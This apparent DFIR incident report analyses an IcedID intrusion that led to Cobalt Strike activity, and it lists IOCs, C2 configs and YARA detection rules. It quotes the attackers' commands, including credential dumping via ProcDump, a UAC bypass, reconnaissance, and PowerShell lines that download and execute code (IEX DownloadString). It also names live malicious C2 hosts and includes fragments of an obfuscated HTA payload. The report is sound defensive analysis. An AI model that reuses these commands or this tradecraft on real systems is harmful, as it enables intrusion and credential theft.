Intro
Although IcedID was originally discovered back in 2017, it did not gain in popularity until the latter half of 2020. We have now analyzed a couple ransomware cases in 2021 (Sodinokibi & Conti) that used IcedID as the initial foothold into the environment.
In June, we saw another threat actor utilize IcedID to download Cobalt Strike, which was used to pivot to other systems in the environment. Similar to the Sodinokibi case, anti-virus (AV) slowed down the attackers. AV frustrated them to the point they temporarily left the environment. Eleven days later, activity returned to the environment with more Cobalt Strike beacons, which they used to pivot throughout the domain using WMI. The threat actors, however, remained unable or unwilling to complete their final objectives.
Case Summary
This intrusion once again highlights common tools in-use today for Initial Access and Post-Exploitation. Our intrusion starts when a malicious Word document is executed that drops and executes an HTA file. This HTA file is used to download IcedID in the form of a JPG file. This file is actually a Windows DLL file, which is executed via regsvr32 (1st stage IcedID).
IcedID downloads some 2nd stage payloads and loads the DLL into memory with rundll32 (miubeptk2.dll – IcedID – used for persistence) and regsvr32 (ekix4.dll – Cobalt Strike beacon – privilege escalation via fodhelper) to pillage the domain. Service Execution (T1569.002) via Cobalt Strike Beacon was used throughout the intrusion for privilege escalation.
WMIC was utilized to launch ProcDump in an attempt to dump lsass.exe. WMIC was also used to perform discovery of endpoint security software. A flurry of other programs were used to perform discovery within the environment including nltest.exe, adfind.exe via adf.bat, and net.exe. Command and Control was achieved via IcedID and Cobalt Strike.
There were numerous attempts at lateral movement via Cobalt Strike beacons, with limited success. Ultimately, the threat actors were unsuccessful when AV snagged their attempts to move to certain servers.
Particular to this case, we saw an eleven day gap in activity. While command and control never left, activity–other than beaconing, ceased. On day eleven, a new Cobalt Strike infrastructure was introduced to the environment with the threat actor displaying new techniques that were successful in moving laterally, where the initial activity failed.
This may indicate a hand off to a new group, or the original actor may have returned, either way, we did not see a final action on objectives.
Services
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here. Two of the Cobalt Strike servers used in this intrusion were added to our Threat Feed on 6/3/21 and the other one was added on 6/14/21
We also have artifacts available from this case such as pcaps, memory captures, files, Kape packages, and more, under our Security Researcher and Organization services.
Timeline
Analysis and reporting completed by @iiamaleks and @THIR_Sec
Reviewed by @ICSNick and @MetallicHack
MITRE ATT&CK
Initial Access
Initial access for this intrusion was via a malicious attachment “order 06.21.doc”. The attachment was a Microsoft Word document that drops a malicious HTA file “textboxNameNamespace.hta”.
Execution
Analysis of the encoded HTA file revealed that a file named textboxNameNamespace.jpg was downloaded from http://povertyboring2020b[.]com. This file’s extension is misleading as the file is a Windows DLL.
The HTA file is written to:
C:\users\public
The HTA file when executed downloads a file named “textboxNameNamespace.jpg”, which is actually an IcedID DLL file responsible for the first stage.
Through the same HTA file, the IcedID first stage DLL file is executed via regsvr32.exe.
IcedID executes via rundll32, dropping DLL files related to both the IcedID second stage and Cobalt Strike beacons.
After the initial compromise, the threat actors went silent for eleven days. After that period of time, a new Cobalt Strike beacon was run through IcedID and sent forth to a second phase of their activities.
Persistence
IcedID establishes persistence on the compromised host using a scheduled task named ‘{0AC9D96E-050C-56DB-87FA-955301D93AB5}’ that executes its second stage. This scheduled task was observed to be executing hourly under the initially compromised user.
Privilege Escalation
Ekix4.dll, a Cobalt Strike payload was executed via fodhelper UAC bypass.
Additional Cobalt Strike payloads were executed with the same fodhelper UAC bypass technique.
Cobalt Strike payloads were used to escalate privileges to SYSTEM via a service created to run a payload using rundll32.exe as the LocalSystem user. This activity was observed on workstations, a file server, and a backup server.
GetSystem was also used by the threat actors.
Credential Access
The threat actors were seen using overpass the hash to elevate privileges in the Active Directory environment via Mimikatz style pass the hash logon events, followed by subsequent suspect Kerberos ticket requests matching network alert signatures.
ATTACK [PTsecurity] Overpass the hash. Encryption downgrade activity to ARCFOUR-HMAC-MD5",10002228
Using these credentials, the threat actors attempted to use a Cobalt Strike beacon injected into the LSASS process to execute WMIC, which executed ProcDump on a remote system to dump credentials.
This activity appears to have failed due to Windows Defender activity.
Discovery
IcedID initially performed some discovery of the local system and the domain.
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
ipconfig /all systeminfo
net config workstation
net view /all /domain nltest /domain_trusts /all_trusts
nltest /domain_trusts
net view /all
net group "Domain Admins" /domain
Later, Cobalt Strike beacons were used to perform discovery of the system and domain.
cmd.exe /C systeminfo
cmd.exe /C nltest /dclist:DOMAIN.local
cmd.exe /C nltest /domain_trusts /all_trusts
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:55869/'); Find-LocalAdminAccessA discovery batch script that runs ADFind.exe was dropped to the system.
ADFind.exe was executed by the discovery batch script.
cmd.exe /C C:\Windows\Temp\adf\adf.bat
adfind.exe -f "(objectcategory=person)"
adfind.exe -f "(objectcategory=organizationalUnit)"
adfind.exe -f "objectcategory=computer"
adfind.exe -sc trustdmp
adfind.exe -subnets -f (objectCategory=subnet)
adfind.exe -f "(objectcategory=group)"
adfind.exe -gcb -sc trustdmpPowerView was used to discover local administrator access in the network. The Cobalt Strike beacon itself was used as a proxy to connect and retrieve the PowerView file.
Cobalt Strike was injected into the winlogon.exe process and used to perform further discovery.
cmd.exe /C net group "domain Admins" /domain
cmd.exe /C net group "Enterprise Admins" /domain
cmd.exe /C ping WORKSTATION
cmd.exe /C net view \\WORKSTATION /all
cmd.exe /C net view \\DOMAINCONTROLLER /all
cmd.exe /C dir /sThe following shows the decoded PowerShell commands used by Cobalt Strike to perform discovery.
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:41046/'); Get-DomainController
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:38102/'); Get-DomainComputer -Properties dnshostname
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:35452/'); Get-DomainComputer -OperatingSystem *server* -Properties dnshostname
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:61999/'); Get-DomainComputer -Properties dnshostname -Ping.
$dr=Get-WmiObject Win32_LogicalDisk; $total=0; foreach($i in $dr){ ; if($i.DriveType -eq 3 ){$diskFill = ([int]($i.Size/1GB)-[int]($i.FreeSpace/1GB));$total=$total+$diskFill;} } 'Total ' + $env:computername +' ' + $total
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:51127/'); Get-PSDrive
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:34025/'); Invoke-ShareFinder -Ping -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\shar.txtLateral Movement
Lateral Movement chain #1 – The attacker was able to successfully move from workstation #1 to workstation #2 via service execution. The attacker tried to replicate this movement technique towards two servers but were stopped when their Cobalt Strike PowerShell payloads were nabbed by AV.
Lateral Movement chain #2 – Another attempt was made to move from workstation #1 to one of the servers, but this attempt was also thwarted by AV. Just like the previous attempt, a remote service was created, however, this time a DLL payload was used rather than a PowerShell payload.
Lateral Movement chain #3 – Privileges were escalated to SYSTEM on Workstation #1 via the Cobalt Strike ‘GetSystem’ command which makes use of named pipes. A Cobalt Strike DLL was copied to a server and executed using WMI. This activity was observed on three servers, including the Domain Controller.
Command and Control
The logs demonstrate multiple connections from IcedID to their C2 servers, including aws.amazon[.]com for connectivity checks.
91.193.19.37|443
lookupup.uno45.153.240.135|443
agalere.club
12horroser.fun172.67.222.68|80
fintopikasling.top185.38.185.121|443
contocontinue.agency164.90.157.246|443
109.230.199.73|80
The Cobalt Strike beacons also make use of multiple C2 servers on the public internet.
Cobalt Strike Configs:
krinsop[.]com
162.244.81.62
JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3S: aa29d305dff6e6ac9cd244a62c6ad0c2
Certificate Subject Key Identifier: 23:FA:7E:CD:F4:13:7C:96:30:AC:3C:DD:D6:25:99:DB:39:39:51:B3
Not Before: Jun 4 18:57:59 2021 (GMT)
Not After : Sep 2 18:57:59 2021 (GMT)
Issuer: Let's Encrypt
Subject Common: krinsop.com
Public Algorithm: rsaEncryption
{
"x86": {
"config": {
"Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
"Polling": 5000,
"HTTP Method Path 2": "/jquery-3.3.2.min.js",
"C2 Server": "162.244.81.62,/jquery-3.3.1.min.js",
"Method 1": "GET",
"Jitter": 10,
"Spawn To x64": "%windir%\\sysnative\\dllhost.exe",
"Port": 80,
"Method 2": "POST",
"Beacon Type": "0 (HTTP)"
},
"sha256": "198cbe9ac054c0d79229b9d09fcbfbe5caa7702969f1f588eeca4f66318ebf12",
"md5": "fb325956bbaf5f34ee8f3876a6c14d62",
"sha1": "1b3c8375ad2087e647b44faf9b8c6460ad9ae97c",
"time": 1623709908992.6
},
"x64": {
"config": {
"Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
"Polling": 5000,
"HTTP Method Path 2": "/jquery-3.3.2.min.js",
"C2 Server": "162.244.81.62,/jquery-3.3.1.min.js",
"Method 1": "GET",
"Jitter": 10,
"Spawn To x64": "%windir%\\sysnative\\dllhost.exe",
"Port": 80,
"Method 2": "POST",
"Beacon Type": "0 (HTTP)"
},
"sha256": "9e1261fcefa27729712a78c4c1938987d1a57983839b588c6cb5bd23850d98e1",
"md5": "cef2407d87d56f2656d502ae3f6e49f2",
"sha1": "6810f5d44b21377b084b96151ab25e57e7d90abe",
"time": 1623709920309.7
}
}
{
"x86": {
"config": {
"Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
"Polling": 5000,
"HTTP Method Path 2": "/jquery-3.3.2.min.js",
"C2 Server": "krinsop.com,/jquery-3.3.1.min.js",
"Method 1": "GET",
"Jitter": 10,
"Spawn To x64": "%windir%\\sysnative\\dllhost.exe",
"Port": 443,
"Method 2": "POST",
"Beacon Type": "8 (HTTPS)"
},
"sha256": "aa76fb1fa50a24c631a5d40878cc7af8a23ba265842bd9e85578d85f080b203a",
"md5": "c4e04de7283fcddc4f3e394313e02a8d",
"sha1": "edee07063c98ed57e12e41196c9bea63a3a0f4ee",
"time": 1623709904481.3
},
"x64": {
"config": {
"Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
"Polling": 5000,
"HTTP Method Path 2": "/jquery-3.3.2.min.js",
"C2 Server": "krinsop.com,/jquery-3.3.1.min.js",
"Method 1": "GET",
"Jitter": 10,
"Spawn To x64": "%windir%\\sysnative\\dllhost.exe",
"Port": 443,
"Method 2": "POST",
"Beacon Type": "8 (HTTPS)"
},
"sha256": "b888d289ee46115ed33164855e74f21e9e2b657c3d11342b34d267a722e137eb",
"md5": "2562d3b97b8352b785020a7ab7ac334f",
"sha1": "80389f85fe8bbca65ca35bfa219b6e2a2815069d",
"time": 1623709913218.1
}
}
213.252.245.62
JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3S: ae4edc6faf64d08308082ad26be60767
Certificate Subject Key Identifier: 0F:9E:24:12:4D:36:90:93:55:B5:8D:C1:26:0D:2F:79:BE:C2:78:9B
Not Before: May 26 07:48:00 2021 GMT
Not After : Aug 24 07:48:00 2021 GMT
Issuer Org: Let's Encrypt
Subject Common: charity-wallet.com
Public Algorithm: rsaEncryption
{
"x64": {
"md5": "c282bfab34469e2884ea0a964f7faf86",
"sha256": "4fb85bef421d23361fce6c7d00ed5047dd47e0ebaf1769be96b10c83c99441f8",
"config": {
"Jitter": 37,
"Method 1": "GET",
"Beacon Type": "8 (HTTPS)",
"Polling": 63565,
"Method 2": "POST",
"Port": 443,
"Spawn To x64": "%windir%\\sysnative\\regsvr32.exe",
"C2 Server": "charity-wallet.com,/ch.html",
"Spawn To x86": "%windir%\\syswow64\\regsvr32.exe",
"HTTP Method Path 2": "/ba"
},
"time": 1622753776178.3,
"sha1": "797d697c7a6770b2caa8e3b6c5e2e7b5ab7cc55b"
},
"x86": {
"md5": "ed2dbbd89fb9abad7086f71def9f7cf5",
"sha256": "6477ba90a44152ca98107c0bd00161a8a61daf32418654bc8c0f27e01eb43303",
"config": {
"Jitter": 37,
"Method 1": "GET",
"Beacon Type": "8 (HTTPS)",
"Polling": 63565,
"Method 2": "POST",
"Port": 443,
"Spawn To x64": "%windir%\\sysnative\\regsvr32.exe",
"C2 Server": "charity-wallet.com,/ch.html",
"Spawn To x86": "%windir%\\syswow64\\regsvr32.exe",
"HTTP Method Path 2": "/ba"
},
"time": 1622753770976.5,
"sha1": "d1b9040e8bf1db317c18f903ab95f44b30736a78"
}
}
gmbfrom[.]com
88.80.147.101
JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3S: ae4edc6faf64d08308082ad26be60767
Certificate: 04:2f:14:f8:9d:82:a2:39:2e:ea:8e:4f:c1:b7:0d:b8:bf:a7 Not Before: May 20 15:55:27 2021 GMT
Not After : Aug 18 15:55:27 2021 GMT
Issuer Org: Let's Encrypt
Subject Common: gmbfrom.com
Public Algorithm: rsaEncryption
{
"x86": {
"sha1": "b785cae596f7b68376464e3e300fe0aff5bea845",
"config": {
"Method 2": "POST",
"Port": 80,
"Method 1": "GET",
"Polling": 5000,
"Beacon Type": "0 (HTTP)",
"Jitter": 10,
"Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
"C2 Server": "88.80.147.101,/jquery-3.3.1.min.js",
"HTTP Method Path 2": "/jquery-3.3.2.min.js",
"Spawn To x64": "%windir%\\sysnative\\dllhost.exe"
},
"time": 1622753064031.5,
"sha256": "dd0dd0b3e95ff62c45af048c0169e2631ac906da4a603cadbc7014cbcfb4e631",
"md5": "56830f9cc0fe712e22921a7a5a0f1a53"
},
"x64": {
"sha1": "11724324f8ec1940be87553ae2bd5f96b979a5d6",
"config": {
"Method 2": "POST",
"Port": 80,
"Method 1": "GET",
"Polling": 5000,
"Beacon Type": "0 (HTTP)",
"Jitter": 10,
"Spawn To x86": "%windir%\\syswow64\\dllhost.exe",
"C2 Server": "88.80.147.101,/jquery-3.3.1.min.js",
"HTTP Method Path 2": "/jquery-3.3.2.min.js",
"Spawn To x64": "%windir%\\sysnative\\dllhost.exe"
},
"time": 1622753068830.2,
"sha256": "36a5e68810f3823470fadd578efb75b5c2d1ffe9f4a16d5566f0722257cc51ce",
"md5": "9dde7f14a076a5c3db8f4472b87fd11e"
}
}
Impact
We did not observe the final actions of the threat actors during this intrusion.
IOCs
Network
88.80.147.101|443 gmbfrom.com 213.252.245.62|443 charity-wallet.com 162.244.81.62|443 krinsop.com 91.193.19.37|443 lookupup.uno 45.153.240.135|443 agalere.club 12horroser.fun 172.67.222.68|80 fintopikasling.top 185.38.185.121|443 contocontinue.agency 164.90.157.246|443 109.230.199.73|80
http://povertyboring2020b[.]com
povertyboring2020b[.]com
File
order 06.21.doc b1254d3fa38e2418734d4a2851fc22a6 7c71a7ae38ef95d36434f0b680b30393de9b95ec 95af2e46631be234a51785845079265629462e809e667081eb0b723116e265f3 ekix4.dll 74b91ef6278231c152259f58f0420ad4 cbcd475e05642f7e0a049827c6a3c722046c591d e27b71bd1ba7e1f166c2553f7f6dba1d6e25fa2f3bb4d08d156073d49cbc360a textboxNameNamespace.hta decfd224c4317795dd7716c680a29dcb 42c52ad41878deeecfe6526431a1e0bf34311286 b17c7316f5972fff42085f7313f19ce1c69b17bf61c107b1ccf94549d495fa42 textboxNameNamespace.jpg 13c928acdec1cc1682ed84d27b83841a f90fb56e148b17af89a896bbb0ba0b89fc0ecdb2 010f52eda70eb9ff453e3af6f3d9d20cbda0c4075feb49c209ca1c250c676775 adf.bat b94bb0ae5a8a029ba2fbb47d055e22bd 035940bd120a72e2da1b6b7bb8b4efab46232761 f6a377ba145a5503b5eb942d17645502eddf3a619d26a7b60df80a345917aaa2 Muif.dll 9e7756f47e57a03e6eb5fe7d2505b870 fb6339704bf11507038ddaf8f01324da5b71ee19 8b9d605b826258e07e63687d1cefb078008e1a9c48c34bc131d7781b142c84ab
Detections
Network
ET DNS Query to a *.top domain - Likely Hostile
ET POLICY OpenSSL Demo CA - Internet Widgits Pty
ATTACK [PTsecurity] Overpass the hash. Encryption downgrade activity to ARCFOUR-HMAC-MD5
Sigma
Yara
/*
YARA Rule Set
Author: The DFIR Report
Date: 2021-07-13
Identifier: Case 4485
Reference: https://thedfirreport.com
*//* Rule Set ----------------------------------------------------------------- */
import "pe"
rule textboxNameNamespace {
meta:
description = "4485 - file textboxNameNamespace.hta"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-07-13"
hash1 = "b17c7316f5972fff42085f7313f19ce1c69b17bf61c107b1ccf94549d495fa42"
strings:
$s1 = "idGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gTG1lciByYXY7KSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbiA9IGV" ascii /* base64 encoded string 'tcejbometsyselif.gnitpircs"(tcejbOXevitcA wen = Lmer rav;)"llehs.tpircsw"(tcejbOXevitcA wen = e' */
$s2 = "/<html><body><div id='variantDel'>fX17KWUoaGN0YWN9O2Vzb2xjLnRzbm9Dbm90dHVCd2VpdjspMiAsImdwai5lY2Fwc2VtYU5lbWFOeG9idHhldFxcY2lsYn" ascii
$s3 = "oveTo(-100, -100);var swapLength = tplNext.getElementById('variantDel').innerHTML.split(\"aGVsbG8\");var textSinLibrary = ptrSin" ascii
$s4 = "wxyz0123456789+/</div><script language='javascript'>function varMainInt(tmpRepo){return(new ActiveXObject(tmpRepo));}function bt" ascii
$s5 = "VwXFxzcmVzdVxcOmMiKGVsaWZvdGV2YXMudHNub0Nub3R0dUJ3ZWl2Oyl5ZG9iZXNub3BzZXIuZXRhREl4b2J0eGV0KGV0aXJ3LnRzbm9Dbm90dHVCd2VpdjsxID0gZX" ascii
$s6 = "ript><script language='vbscript'>Function byteNamespaceReference(variantDel) : Set WLength = CreateObject(queryBoolSize) : With " ascii
$s7 = "WLength : .language = \"jscript\" : .timeout = 60000 : .eval(variantDel) : End With : End Function</script><script language='vbs" ascii
$s8 = "FkZGEvbW9jLmIwMjAyZ25pcm9ieXRyZXZvcC8vOnB0dGgiICwiVEVHIihuZXBvLmV0YURJeG9idHhldDspInB0dGhsbXguMmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbi" ascii
$s9 = "pJMTZBb0hjcXBYbVI1ZUI0YXF0SVhWWlZkRkhvZjFEZy9qYWVMTGlmc3doOW9EaEl2QlllYnV1dWxPdktuQWFPYm43WGNieFdqejQ1V3dTOC8xMzIxNi9PUnFEb01aL2" ascii
$s10 = "B5dC50c25vQ25vdHR1QndlaXY7bmVwby50c25vQ25vdHR1QndlaXY7KSJtYWVydHMuYmRvZGEiKHRjZWpiT1hldml0Y0Egd2VuID0gdHNub0Nub3R0dUJ3ZWl2IHJhdn" ascii
$s11 = "t><script language='javascript'>libView['close']();</script></body></html>" fullword ascii
$s12 = "t5cnR7KTAwMiA9PSBzdXRhdHMuZXRhREl4b2J0eGV0KGZpOykoZG5lcy5ldGFESXhvYnR4ZXQ7KWVzbGFmICwiNE9Uc3NldUk9ZmVyPzZnb2QvNzcwODMvUG10RkQzeE" ascii
$s13 = "tYU5vcmV6IHJhdg==aGVsbG8msscriptcontrol.scriptcontrol</div><div id='exLeftLink'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv" ascii
$s14 = "nGlob(pasteVariable){return(tplNext.getElementById(pasteVariable).innerHTML);}function lConvert(){return(btnGlob('exLeftLink'));" ascii
$s15 = "ipt'>Call byteNamespaceReference(textSinLibrary)</script><script language='vbscript'>Call byteNamespaceReference(remData)</scrip" ascii
$s16 = "Ex](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(vbaBD+=w(a));}}return(vbaBD);};function ptrSingleOpt(be" ascii
$s17 = "eOpt(bytesGeneric(swapLength[0]));var remData = ptrSingleOpt(bytesGeneric(swapLength[1]));var queryBoolSize = swapLength[2];</sc" ascii
$s18 = "}function bytesGeneric(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var vbaBD=''; var w=String.fromCharCode; var L" ascii
$s19 = "=s.length;var counterEx = ptrSingleOpt('tArahc');for(i=0;i<64;i++){e[lConvert()[counterEx](i)]=i;}for(x=0;x<L;x++){c=e[s[counter" ascii
$s20 = "foreRight){return beforeRight.split('').reverse().join('');}libView = window;tplNext = document;libView.resizeTo(1, 1);libView.m" ascii
condition:
uint16(0) == 0x3c2f and filesize < 7KB and
8 of them
}rule case_4485_adf {
meta:
description = "files - file adf.bat"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-07-13"
hash1 = "f6a377ba145a5503b5eb942d17645502eddf3a619d26a7b60df80a345917aaa2"
strings:
$s2 = "adfind.exe -f \"(objectcategory=person)\" > ad_users.txt" fullword ascii
$s3 = "adfind.exe -f \"objectcategory=computer\" > ad_computers.txt" fullword ascii
$s4 = "adfind.exe -gcb -sc trustdmp > trustdmp.txt" fullword ascii
$s5 = "adfind.exe -sc trustdmp > trustdmp.txt" fullword ascii
$s6 = "adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt" fullword ascii
$s7 = "adfind.exe -f \"(objectcategory=group)\" > ad_group.txt" fullword ascii
$s8 = "adfind.exe -f \"(objectcategory=organizationalUnit)\" > ad_ous.txt" fullword ascii
condition:
uint16(0) == 0x6463 and filesize < 1KB and all of them
}rule case_4485_Muif {
meta:
description = "4485 - file Muif.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-07-13"
hash1 = "8b9d605b826258e07e63687d1cefb078008e1a9c48c34bc131d7781b142c84ab"
strings:
$s1 = "Common causes completion include incomplete download and damaged media" fullword ascii
$s2 = "An error occurred writing to the file" fullword ascii
$s3 = "asks should be performed?" fullword ascii
$s4 = "The waiting time for the end of the launch was exceeded for an unknown reason" fullword ascii
$s5 = "Select the Start Menu folder in which you would like Setup to create the programs shortcuts, then click Next. Which additional t" ascii
$s6 = "HcA<E3" fullword ascii /* Goodware String - occured 1 times */
$s7 = "D$([email protected]" fullword ascii /* Goodware String - occured 1 times */
$s8 = "Select the Start Menu folder in which you would like Setup to create the programs shortcuts, then click Next. Which additional t" ascii
$s9 = "Please verify that the correct path and file name are given" fullword ascii
$s10 = "Critical error" fullword ascii
$s11 = "Please read this information carefully" fullword ascii
$s12 = "Unknown error occurred for time: " fullword ascii
$s13 = "E 3y4i" fullword ascii
$s14 = "D$tOuo2" fullword ascii
$s15 = "D$PH9D$8tXH" fullword ascii
$s16 = "E$hik7" fullword ascii
$s17 = "D$p]mjk" fullword ascii
$s18 = "B):0~\"Z" fullword ascii
$s19 = "Richo/" fullword ascii
$s20 = "D$xJij" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 70KB and
( pe.imphash() == "42205b145650671fa4469a6321ccf8bf" and pe.exports("StartW") or 8 of them )
}rule textboxNameNamespace_2 {
meta:
description = "4485 - file textboxNameNamespace.jpg"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-07-13"
hash1 = "010f52eda70eb9ff453e3af6f3d9d20cbda0c4075feb49c209ca1c250c676775"
strings:
$s1 = "uwunhkqlzle.dll" fullword ascii
$s2 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s3 = "operator co_await" fullword ascii
$s4 = "ggeaxcx" fullword ascii
$s5 = "wttfzwz" fullword ascii
$s6 = "fefewzydtdu" fullword ascii
$s7 = "ilaeemjyjwzjwj" fullword ascii
$s8 = "enhzmqryc" fullword ascii
$s9 = "flchfonfpzcwyrg" fullword ascii
$s10 = "dayhcsokc" fullword ascii
$s11 = "mtqnlfpbxghmlupsn" fullword ascii
$s12 = "zqeoctx" fullword ascii
$s13 = "ryntfydpykrdcftxx" fullword ascii
$s14 = "atxvtwd" fullword ascii
$s15 = "icjshmfrldy" fullword ascii
$s16 = "lenkuktrncmxiafgl" fullword ascii
$s17 = "alshaswlqmhptxpc" fullword ascii
$s18 = "izonphi" fullword ascii
$s19 = "atttyokowqnj" fullword ascii
$s20 = "nwvohpazb" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 500KB and
( pe.imphash() == "4d46e641e0220fb18198a7e15fa6f49f" and ( pe.exports("PluginInit") and pe.exports("alshaswlqmhptxpc") and pe.exports("amgqilvxdufvpdbwb") and pe.exports("atttyokowqnj") and pe.exports("atxvtwd") and pe.exports("ayawgsgkusfjmq") ) or 8 of them )
}rule case_4485_ekix4 {
meta:
description = "4485 - file ekix4.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-07-13"
hash1 = "e27b71bd1ba7e1f166c2553f7f6dba1d6e25fa2f3bb4d08d156073d49cbc360a"
strings:
$s1 = "f159.dll" fullword ascii
$s2 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s3 = "ossl_store_get0_loader_int" fullword ascii
$s4 = "loader incomplete" fullword ascii
$s5 = "log conf missing description" fullword ascii
$s6 = "SqlExec" fullword ascii
$s7 = "process_include" fullword ascii
$s8 = "EVP_PKEY_get0_siphash" fullword ascii
$s9 = "process_pci_value" fullword ascii
$s10 = "EVP_PKEY_get_raw_public_key" fullword ascii
$s11 = "EVP_PKEY_get_raw_private_key" fullword ascii
$s12 = "OSSL_STORE_INFO_get1_NAME_description" fullword ascii
$s13 = "divisor->top > 0 && divisor->d[divisor->top - 1] != 0" fullword wide
$s14 = "ladder post failure" fullword ascii
$s15 = "operation fail" fullword ascii
$s16 = "ssl command section not found" fullword ascii
$s17 = "log key invalid" fullword ascii
$s18 = "cms_get0_econtent_type" fullword ascii
$s19 = "log conf missing key" fullword ascii
$s20 = "ssl command section empty" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 11000KB and
( pe.imphash() == "547a74a834f9965f00df1bd9ed30b8e5" or 8 of them )
}
MITRE
Spearphishing Attachment – T1566.001
Malicious File – T1204.002
Signed Binary Proxy Execution – T1218
Windows Management Instrumentation – T1047
Command and Scripting Interpreter – T1059
PowerShell – T1059.001
Windows Command Shell – T1059.003
Service Execution – T1569.002
Windows Service – T1543.003
Bypass User Account Control – T1548.002
OS Credential Dumping – T1003
System Information Discovery – T1082
Security Software Discovery – T1518.001
Domain Trust Discovery – T1482
Network Share Discovery – T1135
SMB/Windows Admin Shares – T1021.002
Lateral Tool Transfer – T1570
Application Layer Protocol – T1071
Internal case #4485